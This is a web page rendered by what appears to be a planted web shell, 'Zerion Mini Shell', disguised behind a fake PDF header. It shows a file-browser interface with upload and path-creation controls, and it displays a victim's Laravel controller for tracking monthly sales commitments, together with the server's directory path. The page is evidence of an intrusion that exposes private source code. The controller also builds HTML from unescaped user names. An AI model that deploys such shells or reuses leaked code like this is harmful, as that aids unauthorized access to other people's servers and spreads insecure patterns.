%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/silvzytp/dsr_code/app/Http/Controllers/Backend/Super/
Upload File :
Create Path :
Current File : //home/silvzytp/dsr_code/app/Http/Controllers/Backend/Super/MonthlyCommitmentController.php

<?php

namespace App\Http\Controllers\Backend\Super;

use App\Models\Role;
use App\Models\User;
use Illuminate\Http\Request;
use App\Models\MonthlyCommitment;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
use DataTables;

class MonthlyCommitmentController extends Controller
{

    public function index()
    {
        // page title
        page_title('Monthly Commitments');
        // breadcrumb
        $breadcrumb = ['Dashboard'=>route('super.dashboard'),'Monthly Commitment'=>''];
        $agents = MonthlyCommitment::select('id','agent_name')->groupBy('agent_name')->orderBy('agent_name','asc')->get();

        return view('backend.super-admin.pages.monthly_commit.index',['breadcrumb'=>$breadcrumb,'agents'=>$agents]);
    }

    public function managerSelect(Request $request){
        if ($request->ajax()) {
            $agents = User::where('manager_id',$request->manager_id)->select('id','name')->orderBy('name','asc')->get();
            $output = '';
            if (!$agents->isEmpty()) {
                foreach($agents as $agent){
                    $output .= '
                    <option value="'.$agent->name.'">'.$agent->name.'</option>
                    ';
                }
            }else{
                $output .= '<option value="">-- Select Agent --</option>';
            }

            return response()->json($output);
        }
    }


    public function getData(Request $request){
        $getData = MonthlyCommitment::latest('id');

        return DataTables::eloquent($getData)
            ->addIndexColumn()
            ->filter(function ($query) use ($request){
                if (!empty($request->start_date) && !empty($request->end_date) && !empty($request->agent_name)) {
                    $query->whereDate('date','>=',$request->start_date)
                        ->whereDate('date','<=',$request->end_date)
                        ->where('agent_name',$request->agent_name);
                }
                if(!empty($request->start_date) && !empty($request->end_date)){
                    $query->whereDate('date','>=',$request->start_date)
                        ->whereDate('date','<=',$request->end_date);
                }
                if(!empty($request->agent_name)){
                    $query->where('agent_name',$request->agent_name);
                }
            })
            ->addColumn('bulk_check', function($data){
                return '
                    <label class="ui-checkbox">
                        <input type="checkbox" name="checked" value="'.$data->id.'">
                        <span class="input-span"></span>
                    </label>
                ';
            })
            ->addColumn('r_date', function($data){
                return date_formats($data->date, 'd-M-Y');
            })
            ->addColumn('action', function($data){
                return '
                    <div class="d-flex align-items-center justify-content-end">
                        <a href="'.route('super.monthly.edit', $data->id).'" class="btn-style btn-style-edit mr-1"><i class="fa fa-edit"></i></a>

                        <button type="button" class="btn-style btn-style-danger deletable-btn" data-title="Do you really want to delete this record?" data-id="'.$data->id.'"><i class="fa fa-trash"></i></button>
                    </div>
                ';
            })
            ->rawColumns(['bulk_check','action'])
            ->make(true);
    }

    public function create()
    {
        // page title
        page_title('Monthly Commitment');
        // breadcrumb
        $breadcrumb = ['Dashboard'=>route('super.dashboard'),'Monthly Commitment'=>route('super.monthly.index'),'Create'=>''];

        $roles = User::where('role_id',4)->get();

        return view('backend.super-admin.pages.monthly_commit.form',['breadcrumb'=>$breadcrumb,'roles'=>$roles]);
    }

    public function store(Request $request)
    {
        $request->validate([
            'date'       => 'required',
            'agent_name' => 'required',
        ]);

        $managerId = $request->manager;
        MonthlyCommitment::create([
            'user_id'             => $managerId,
            'date'                => date('Y-m-d', strtotime($request->date)),
            'expected_meeting'    => $request->expected_meeting,
            'agent_name'          => $request->agent_name,
            'project_name'        => $request->project_name,
            'expected_sale'       => $request->expected_sale,
            'meeting_done'        => $request->meeting_done,
            'sale'                => $request->sale
        ]);

        return back()->with('success', ALERT_SUCCESS);
    }

    public function edit($id)
    {
        // page title
        page_title('Edit Monthly Commitment');
        // breadcrumb
        $breadcrumb = ['Dashboard'=>route('super.dashboard'),'Monthly Commitment'=>route('super.monthly.index'),'Create'=>''];
        $monthly = MonthlyCommitment::findOrFail($id);
        $roles = User::where('role_id',4)->get();

        return view('backend.super-admin.pages.monthly_commit.form',['breadcrumb'=>$breadcrumb,'roles'=>$roles,'monthly'=>$monthly]);
    }

    public function update(Request $request, $id)
    {
        $request->validate([
            'date'=>'required',
            'agent_name'=>'required',
        ]);
        $monthly = MonthlyCommitment::findOrFail($id);
        $managerId = $request->manager;
        $monthly->update([
            'user_id'             => $managerId,
            'date'                => date('Y-m-d', strtotime($request->date)),
            'expected_meeting'    => $request->expected_meeting,
            'agent_name'          => $request->agent_name,
            'project_name'        => $request->project_name,
            'expected_sale'       => $request->expected_sale,
            'meeting_done'        => $request->meeting_done,
            'sale'                => $request->sale
        ]);

        return back()->with('success', ALERT_UPDATE);
    }

    public function agentSelected(Request $request){
        if ($request->ajax()) {

            $agents = User::where('manager_id',$request->manager_id)->select('id','name')->orderBy('name','asc')->get();
            $manager = MonthlyCommitment::where('id', $request->data_id)->first();

            $output = '';
            if (!$agents->isEmpty()) {
                foreach($agents as $agent){
                    $selected = $manager->agent_name == $agent->name ? 'selected' : '';
                    $output .= '
                    <option value="'.$agent->name.'" '.$selected.'>'.$agent->name.'</option>
                    ';
                }
            }else{
                $output .= '<option value="">-- Select Agent --</option>';
            }

            return response()->json($output);
        }

    }

    public function destroy(Request $request){
        if ($request->ajax()) {
            MonthlyCommitment::findOrFail($request->data_id)->delete();
            $output = ['status'=>'success','message'=>ALERT_DELETE];
            return response()->json($output);
        }
    }


    public function bulkDestroy(Request $request){
        if ($request->ajax()) {
            $bulkId = explode(',', $request->bulk_id);
            if ($request->operation_type == 'delete') {
                $data = MonthlyCommitment::whereIn('id', $bulkId)->delete();
                if ($data == true) {
                    $output = ['status'=>'success','message'=>ALERT_DELETE];
                }else{
                    $output = ALERT_WRONG;
                }
            }else{
                $output = ALERT_WRONG;
            }

            return response()->json($output);
        }
    }

}

Zerion Mini Shell 1.0